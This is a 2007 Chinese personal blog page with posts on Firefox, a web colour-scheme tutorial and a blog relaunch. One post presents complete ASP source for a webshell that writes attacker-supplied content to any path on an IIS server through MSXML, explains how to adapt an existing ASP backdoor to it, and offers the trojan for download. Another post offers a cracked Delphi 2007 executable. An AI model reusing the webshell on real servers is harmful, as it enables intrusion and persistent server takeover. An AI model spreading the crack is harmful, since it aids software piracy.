    和恼人的弹出式广告说再见吧! Firefox 可以有效阻止未经许可的弹出窗口。

    分页浏览
    使用这个节省时间的功能，您可以在同一窗口内查看多个网页。将链接在后台标签页中打开，当您准备好要阅读其他页面时，它们已经载入完毕，您无需花费时间等待。

    隐私及安全
    Firefox 关心您的隐私及安全，不加载有害的 ActiveX 控件，不让恶意的间谍程序入侵您的计算机。多种保护隐私的工具，让您能掌控自己在网络上的一举一动。

    智能化的搜索功能
    在工具栏中已经内建了 Google 搜索功能，此外还有众多搜索工具如 "关键字" 以及新的 "查找工具栏" 等功能。在地址栏输入 "dict (要查询的单词)" 便可查阅字典，而随手输入网页上的文字，Firefox 便会将您带往该处。

    实时书签
    整合 RSS，方便您订阅最新头条及网站更新信息。

    下载文件方便
    您下载的文件可自动置于桌面上，容易寻找。减少问东问西的情形，让下载更流畅快速。

    体贴用户
    简单又直观的 Firefox 拥有符合您习惯的完整功能：除了书签、浏览历史、全屏等工具之外，还可以自由缩放文字，符合您阅读上的需求。

    放大缩小，随心所欲
    Firefox 是世上最容易定制的浏览器了！您可定制工具栏添加按钮，可以安装新的扩展软件来增加新功能，可以安装符合个人风格的主题外观，还可以自行从难以计数的搜寻引擎中挑选适合的使用。Firefox 的功能多少、体态大小，由您决定。

    简单容易的安装方式
    Firefox 增强版仅仅 5.7 MB，以宽带下载仅需几分钟时间。安装程序让您迅速安装 Firefox，而崭新的迁移系统可将您的收藏夹、储存密码以及其它各种设置等数据从 Internet Explorer 及其它浏览器中导入 Firefox，您立刻能在网络上四处游玩。

开发者最好的朋友
Firefox 拥有一组开发者使用的工具，包括强大的 JavaScript/CSS 控制台、文件查看器等，提供您洞察网页运作详情的能力。

    有关firefox的一些疑问的解答

    1、firefox很难配置吗？firefox是否不适合新手和不太懂电脑的人？
    BBS上经常有人讨论firefox和IE相比太难配置的问题，认为firefox不适合新手和不太懂电脑的人。其实这是一种误解，很多人的机器中的IE由于没有及时打补丁而会存在很多漏洞，导致系统很慢。部分无法自动更新的IE用户在Update时是非常复杂，并且耗时的。而firefox在安全方面要比IE好，至少不怕QQ尾巴病毒。

    2、firefox比IE更占系统资源吗？
    经过很多人测试，firefox比IE占用的系统资源更少。

    3、为什么一些网站在firefox中显示不正常？
    总是听到 Firefox 的用户抱怨，某某网站在 Firefox 下显示不正常。我们除了抱怨，有没有想过为什么会这样？答案很简单：还有超过 90% 的互联网用户还在使用 IE（或IE内核）！IE 在浏览器领域的垄断给大家一个错觉，以为上网就是打开 IE，开始浏览网站，以为拿起JScript甚至是VBScript就是写浏览器客户端脚本。这样的结果是什么？我们不得不使用 IE 内核支持的浏览器才能浏览部分网站，我们陷入了使用 IE - 为 IE 写“特效”网页 - 只能使用 IE 的循环。为什么要被锁在表现的越来越差的IE身上呢？IE 6.0 正式版发布由三年了，除了不断的发布修补安全漏洞的补丁外，你可见它有任何实质性的进步？
    我们怎么样才能让这样的仅支持IE(IE内核）的网站越来越少呢？答案也很简单：扩大非 IE 用户的数量。而 Firefox 作为这一类浏览器的旗舰，正是我们要大力推广的。只有相当一部分网民使用能很好的支持 W3C 标准的浏览器的时候，这些仅支持 IE 的网站才会考虑支持 IE 外的浏览器，写出较能符合 W3C 标准的网页。
    在使用 Firefox 的用户群里，有相当一部分是 Linux 用户，这一群用户可能不屑于跟别人争辩Firefox与IE的好坏，自己用起来偷着乐。可是你想过没有，为什么我们喜爱的 Linux 还在桌面市场迟迟打不开局面，为什么 Mozilla 基金会会募集 250,000 美元去《纽约时报》为 Firefox 打整版广告？Firefox 好，我们都知道，可是要让 90% 的 IE 用户也知道 Firefox 比 IE 好，这并不容易。Firefox 的推广特别需要我们这一部分 Firefox 的先行者们。Linux 在服务器市场占不少的份额，他们不了解；Apache 的市场份额超过 50%，他们也不知道。但 Firefox 如果占了上 20% 的份额，我想他们会知道的。现在的开源社区把 Firefox 看作是自由软件的排头兵，我们或许不能为这免费而自由的软件贡献几行代码，但现在 Firefox 的传播需要我们的参与！

    4、什么是W3C？
    W3C就是World Wide Web Consortium，全球万维网联盟的简称。W3C的主要职责就是确定未来万维网的发展方向，并且制定相关的推荐（recommendation, 由于W3C是一个民间组织，没有约束性，因此只提供建议）。HTML4.01规范建议(HTML4.01 Specification Recommendation)就是由W3C所制定的。它还负责制定XML，MathML等其他网络语言规范。
    W3C标准是国际上的通用标准，符合此标准的网站，能用任何浏览器来浏览您的网站。Firefox完全支持W3C标准，因此只要是按照W3C标准设计的网页都能正常显示。

    5、firefox可以使用代理吗？
    不仅可以使用代理，也可以指定对某些网站不使用代理。

    6、firefox的收藏夹可以导出吗？
    导出收藏夹对于维护系统是非常重要的。firefox可以方便的导出收藏夹。

    7、firefox的源代码在哪里下载？
    firefox是一个开源软件http://ftp.mozilla.org/pub/mozilla.org/，中有所有mozilla、firefox、firebird等等所有版本的源代码，不过需要你自己去找一下你想要的。

    引用一句话：
    If you're not using Firefox, you're not surfing the web, you're suffering it.
    如果你用的不是Firefox，你不是在网络中畅游，而是在网络中受苦。

    如果你还没有用过Firefox，那么马上使用它吧！

Firefox2.0原版下载:

订阅本站Rss

2007-07-15T14:14:15+08:00

如果你喜欢本站请订阅本站的RSS，可以随时了解本站更新。

全站：http://www.xflashboy.com/Xblog/feed.asp
BY Wings：http://www.xflashboy.com/Xblog/feed.asp?cateID=4
My Blog：http://www.xflashboy.com/Xblog/feed.asp?cateID=5

打造免FSO写木马--XML木马首次研究[原稿]

2007-07-15T12:56:12+08:00

好长时间前写的一篇文稿，本来是寄往黑防的，后来没有登出来，我后来一直没发在网上,不过现在网上到处都是，好‘奇怪’呀！下面是这一篇的全部内部，希望那些转载的保持一下文章的原样！

打造免FSO写木马-----XML木马首次研究
作者：FLASHBOY http://www.xflashboy.com
这几天一直在学XML，忽然看到了xmlDoc中有一个.SAVE方法，我们就可以在没有FSO的机子上写ASP木马了。
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,不过好多的个人服务器都不支持或改名了,我们只可以望而生悲了。
首先了解一下XML需要的系统是WINDOWS 2000以上，也就是说我们不必在系统上安装XML parser解析也可以支持XML了。我们狂笑吧，在也不怕服务器上的FSO被改名了。
首先我们介绍一下HTML与XML代码的规范化
1.所有的XML文档必须有一个结束标记
在XML文档中, 忽略结束标记是不符合规定的。
在HTML文档中，一些元素可以是没有结束标记的。下面的代码在HTML中是完全合法的：

Holle FLASHBOY

www.xflashboy.com
但是在XML文档中必须要有结束标记，像下面的例子一样：

Holle FLASHBOY

www.xflashboy.com

  2. XML标记都是大小写敏感的
      这与HTML不一样, XML标记是大小写敏感的。
在XML中, 标记与标记是两个不同的标记。
因此在XML文档中开始标记和结束标记的大小写必须保持一致。
This is incorrect   //错误的
This is correct     //正确的
3.所有的XML元素必须合理包含
在XML中不允许不正确的嵌套包含。
在HTML中，允许有一些不正确的包含，例如下面的代码可以被浏览器解析：
This text is bold and italic
在XML中所有元素必须正确的嵌套包含，上面的代码应该这样写：
This text is bold and italic
  4.所有的XML文档必须有一个根元素
XML文档中的第一个元素就是根元素。
所有XML文档都必须包含一个单独的标记来定义，所有其他元素的都必须成对的在根元素中嵌套。XML文档有且只能有一个根元素。
所有的元素都可以有子元素，子元素必须正确的嵌套在父元素中。
下面的代码可以形象的说明：

.....

5.属性值必须使用引号""
在XML中,元素的属性值没有引号引着是不符合规定的。

如同HTML一样，XML元素同样也可以拥有属性。XML元素的属性以名字/值成对的出现。XML语法规范要求XML元素属性值必须用引号引着。请看下面的两个例子，第一个是错误的，第二个是正确的。

Lin
Ordm
Reminder
Don't forget me this weekend!

Tove
Jani
Reminder
Don't forget me this weekend!

第一个文档的错误之处是属性值没有用引号引着。
正确的写法是: date="12/11/99". 不正确的写法: date=12/11/99.
这几个是XML中的重点，如果不按照这样的话XML是不会创建文件的。
6.数据中不能含有"<"  ">"“&”符号
在代码中可以使用 "< "与 "> "代替"<" ">"符号

这们来详细了解一下这几个方法吧
xmlDoc.loadXml(xmlString)   这是用XML的LOAD方法来加载一段XML DOCUMENT到对象中,这里加载的是"xmlString"
注意：在这一个字符串中一定要满足XML语言的要求（在文章前面已经写过），如果不按照的话只能创建一个空的文件，有些读者写入不成功就是因为这一个原因。
xmlDoc.save(server.mappath("test.htm"))   这是把上一句的内容写入"test.htm"这一个文件。
XMLname.save(response) 这种方法中，MSXML作为一个ISTEAM接口，save方法使得MSXML在Response对象中查找MSXML的流接口，然后便用这个接口，将文档直接送到请求用户的流中。
server.mappath是按照相对路径写入，如果要用绝对路径就用xmlDoc.save("test.htm")

现在我们看一下木马的源程序
<%on error resume next%>

<%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>

//获取本文件的绝对路径
<%
dim xmlString
//创建xmlString,默认为字符串
dim xmlDoc
//创建xmlDoc
xmlString= Request("flashboy")
//取得文本框中的数据
set xmlDoc = server.createObject("Msxml2.DOMDocument")
//定义xmlDoc属于Msxml2.DOMDocument
xmlDoc.loadXml(xmlString)
//加载xmlString到对象中
f=Request("textfield")
//取出输入的文件路径
xmlDoc.save(f)
//保存xmlDoc.loadXml到输入的文件路径中
set xmlDoc=nothing
//清空xmlDoc
%>

测试木马
我们就用冰狐浪子微型ASP后门2.0 来测试一下吧
我们看看源码

是不是不符合我们刚刚说的XML规范？
我们来动手改一下吧
RUNAT=SERVER    LANGUAGE=JAVASCRIPT 这两个属性值没有引号引着，我们打他改成
RUNAT= " SERVER "    LANGUAGE= " JAVASCRIPT "
整个ASP木马就成了

现在可以把他写入服务器了。

顺便说一下,如果要写入任意的字符串，如FLASHBOY，直接写是写不进去的，因为XML是须要节点的，可以这样写FLASHBOY  FLASHBOY  FLASHBOY

本文在WIN2000+IIS 5.0 测试通过,如果对本文有什么问题可以到www.xflashboy.com上交流
由于作者水平有限，如果有什么地方不对的请大家多P

木马和原文下载：点击下载此文件

网站配色终极教程

2007-07-08T17:12:41+08:00

不论你做什么样的设计，色彩都是一个不容忽视的问题。色彩以一种“隐蔽”的方式传达的各种信息，这些信息会影响观看者的心理和感受，左右他们的判断和选择，色彩对于设计而言实在太重要。这篇文章就要比较系统地介绍一些在网页设计中如何使用色彩的入门知识。

　　色彩是设计者的得力助手，前提是应用得当。对于网站设计而言，色彩的重要性尤其突出，不过经常被粗心的站长忽视。我们经常说“第一映像最重要”，于是设计网站时，设计者经常会花很多精力制作一个“富于冲击力”的LOGO或者BANNER，当然，它们很重要。但是，访问者访问网站时的第一映像实际上并不来自这些LOGO或者BANNER，而是——色彩！

　　好了，在了解了色彩对于网站设计的重要性之后，我们开始探寻色彩的奥秘。

　　色彩入门

　　首先让我们熟悉一下色彩的一些基本概念。

　　三原色

　　一切颜色都来自三原色：红、黄、蓝。
[img] screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/6fa1414c29578126540035e99750420a.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/6fa1414c29578126540035e99750420a.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />[/img]
　在这个圆环中，相邻的两个原色相混合可以得到另外三个比较重要的颜色（下文将其称为二级原色）：红+黄=橙，红+蓝=紫，蓝+黄=绿
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/6f61d553212349795bdc5848d25843d8.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/6f61d553212349795bdc5848d25843d8.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
让我们再深入一步，三原色和三种二级原色可以进一步混合得到更多的颜色，分别是橙红色、紫红色、蓝紫色、蓝绿色、橘黄色和黄绿色。这六种颜色可以称为三级原色。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/9541fd71af3aab2a4f677ff5ed0af73e.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/9541fd71af3aab2a4f677ff5ed0af73e.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
按照同样的方式不断进行下去，这个圆环中颜色之间的分隔线就会消失，得到下图所示的“色彩圆环”，在一些绘图程序的调色板中我们可以看到这样的色彩圆环。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/bcfeb5d5831ea4bb8234a3ac987a613a.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/bcfeb5d5831ea4bb8234a3ac987a613a.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
但是这个圆环仍然没有涵盖所有的颜色，对于圆环中的每一种颜色还有饱和度、亮度和灰度等的变化。也就是说，将上述圆环中的任意一种颜色和黑色、白色、灰色按照不同比例混合就可以得到更多的颜色，下面将详细介绍。
常用的色彩术语

　　饱和度

　　某种颜色的饱和度是指这种颜色所包含的基本颜色的多少。例如RGB值为（0，0，255）的蓝色是纯蓝色，他的饱和度是100%。随着饱和度的降低，颜色会越来越接近灰色。

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/25278d18619418c9e5026bf4cab467fb.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/25278d18619418c9e5026bf4cab467fb.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

灰度

　　基本色彩和黑色进行不同程度的混合可以得到不同的灰度，例如

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/94c6623c7c23a1055a01d391b2fb1b8b.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/94c6623c7c23a1055a01d391b2fb1b8b.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

亮度

　　基本颜色和白色进行不同程度的混合可以得到不同的亮度，例如：:

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/cfbcf27d25668d4f5f21005d34a8b426.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/cfbcf27d25668d4f5f21005d34a8b426.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

色调

　　基本颜色和灰色进行不同程度的混合可以得到不同的色调，例如：

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/92e866074f3a21ea72c6b42ba87cf3b5.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/92e866074f3a21ea72c6b42ba87cf3b5.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

色彩方案的种类

　　不同网站应当使用不同的色彩方案，与站点的主题相吻合的色彩方案决不仅仅可以让网站 “更加好看”，更重要的是在访问者心目中建立对这个网站的感性认识。所以，色彩方案的选择决不能草率，而且色彩方案绝对是网站建设的第一个步骤。如果选择色彩方案时过于草率，甚至根本不对网站进行色彩方案的整体规划，你将不可能制作出一个真正优秀的网站。

　　例如，一个销售婴儿用品的网站应当使用比较活泼的色彩方案，而一个艺术网站则应当使用比较执重的方案。

　　按照色彩方案中色彩使用方式的不同，我们可以将色彩方案划分成多种类型，单色方案、相似色方案、补色方案和三合一色方案。

单色方案

　　单色方案是指在网站设计中终止使用一种基本颜色，为避免单调，我们可以通过调整这种基本颜色的灰度和亮度来得到更多的颜色，由于整个颜色方案中事实上只有一种基色，因此这种方案称为单色方案。例如：

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/e9e819b3ffdba3ff879f962b06fe9c23.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/e9e819b3ffdba3ff879f962b06fe9c23.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/6f61d553212349795bdc5848d25843d8.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/6f61d553212349795bdc5848d25843d8.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

在Photoshop的色彩选择窗口中，我们可以这样进行建立单色方案。首先调整H（也就是Hue的缩写）后面的值来调整色调。注意，H的单位是度，也就是基本颜色在颜色环上所处位置的角度。

　　设置好H的值之后，再调整B后面的数字调整亮度以及S后面的数字调整饱和度。注意，其中B和S的单位是百分比，也就是向基本颜色中添加白色和黑色的百分比。这样就可以得到一个单色方案了。

　　下面来看两个使用单色方案的成功实例。

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/9459479fbaec500c6299e152b906f2cb.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/9459479fbaec500c6299e152b906f2cb.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/aee1aedd118c7bbfeb6c445a43edd0da.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/aee1aedd118c7bbfeb6c445a43edd0da.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

单色方案实例之一：

　　这是一个女性网站，因此其基本颜色为粉红色，并通过调整粉红色的饱和度得到了其余几种颜色。总体颜色趋于淡雅，访问者的注意力会很自然地被吸引到几幅展示其产品的图片上。

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/30a6bdfc4606cd9accaa6ddfad13a9f3.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/30a6bdfc4606cd9accaa6ddfad13a9f3.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/da27532bc35268b8d814abb02d40c5fd.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/da27532bc35268b8d814abb02d40c5fd.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

单色方案实例之二：

　　这个色彩方案使用的基色颜色较深，并通过修改其亮度获得其他两种颜色，并用最浅的颜色作为主体部分的背景，使其突出出来。

　　总的来说，单色方案是一种比较稳重的方案，或者说比较保守的方案。单色方案给人整洁、经典的感觉，最适合于内容比较严肃的网站，比如政府网站，学术网站，企业网站，高雅艺术网站。

　　特别值得一提的是，商业网站也比较适合使用此种颜色方案，因为这种方案可以给人一种稳定感，使访问者容易建立对网站的信任感。当然，这种方案也有其灵活的一面，当使用较浅的基色时，这种颜色方案也可以用于时尚类网站，传达简约清雅的观念相似色方案

　　在色彩圆环上选择彼此相邻的几种颜色构成的配色方案就是相似色方案。例如橙色、橙红色以及橙黄色就可以组成一个相似色方案。由于相似色方案中包含了多种基色，如果再加上亮度和饱和度的变化，可以构成的颜色就非常多。

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/9276323d8766a5ab47760c065b9be6a0.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/9276323d8766a5ab47760c065b9be6a0.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

下面是相似色方案的实例。

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/04c16800dbcdf08f5d26f91b9a5efe32.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/04c16800dbcdf08f5d26f91b9a5efe32.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/65b3648c474e3854bac19530155d74f2.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/65b3648c474e3854bac19530155d74f2.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

相似色方案实例一：

　　这个网站使用了由橙黄色、橙红色和橙色组成的配色方案。Bullseye是一家ISP服务商，面向普通客户。选用这种方案和行业内惯用的蓝色系形成鲜明对照，个性凸现。

screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/7c0cf686250940a1cb47e301915c6c8e.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/7c0cf686250940a1cb47e301915c6c8e.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/a672a3cb11a325b104752611a4ee2694.jpg');}" alt="" src="http://www.juntuan.net/d/file/hkjc/xinshou/2005-10-20/a672a3cb11a325b104752611a4ee2694.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" />

相似色方案实例之二：

　　这个网站使用了绿色和黄色这两种相似色构成配色方案。页面上很多绿色植物，因此文字使用了绿色，整个页面看上去自然清新，和网站的内容相得益彰。

　　通常，相似色配色方案可以给人非常协调的感觉，因此在网站设计中非常常用。典型的运用方法就是，用一种颜色作为页面背景，而另外一种在颜色环中与其相邻的颜色作为前景色。除了上面介绍的绿色和黄色之外，蓝色和绿色以及红色和褐色也是比较常用的相似色配色方案。

CodeGear RAD Studio 2007

2007-07-08T10:11:20+08:00

今天终于下完了DELPHI 2007，看着还是挺爽的，而且支持所有ＤＥＬＰＨＩ２００６的所有控件，不过还没有注册机出来，只能用破解文件了．．．

破解文件:
delphi 2007 BDS.EXE破解文件.rar 点击下载此文件
覆盖D:\Program Files\CodeGear\RAD Studio\5.0\bin下的BDS

CodeGear RAD Studio 2007 下载
.RAD_Studio_Full_2007.iso|4474693632|ca13654bab9a15d3437d9b6db98f8fc8|h=E5RLX2W5HXQAQFQERXWXQHLCREI5VP4C|/]CodeGear RAD Studio 2007

I'm coming back

2007-06-05T20:41:01+08:00

今天终于又重建了BLOG,网名也改成了Wings,原来的那些东西也许只属于FlashBoy,所以就没有带回来了，不过新的目标已形成，相信不会让大家失望的,还有网站友情连接也丢失了，希望原来的朋友重新申请一下

22岁，一切从新的开始,all new start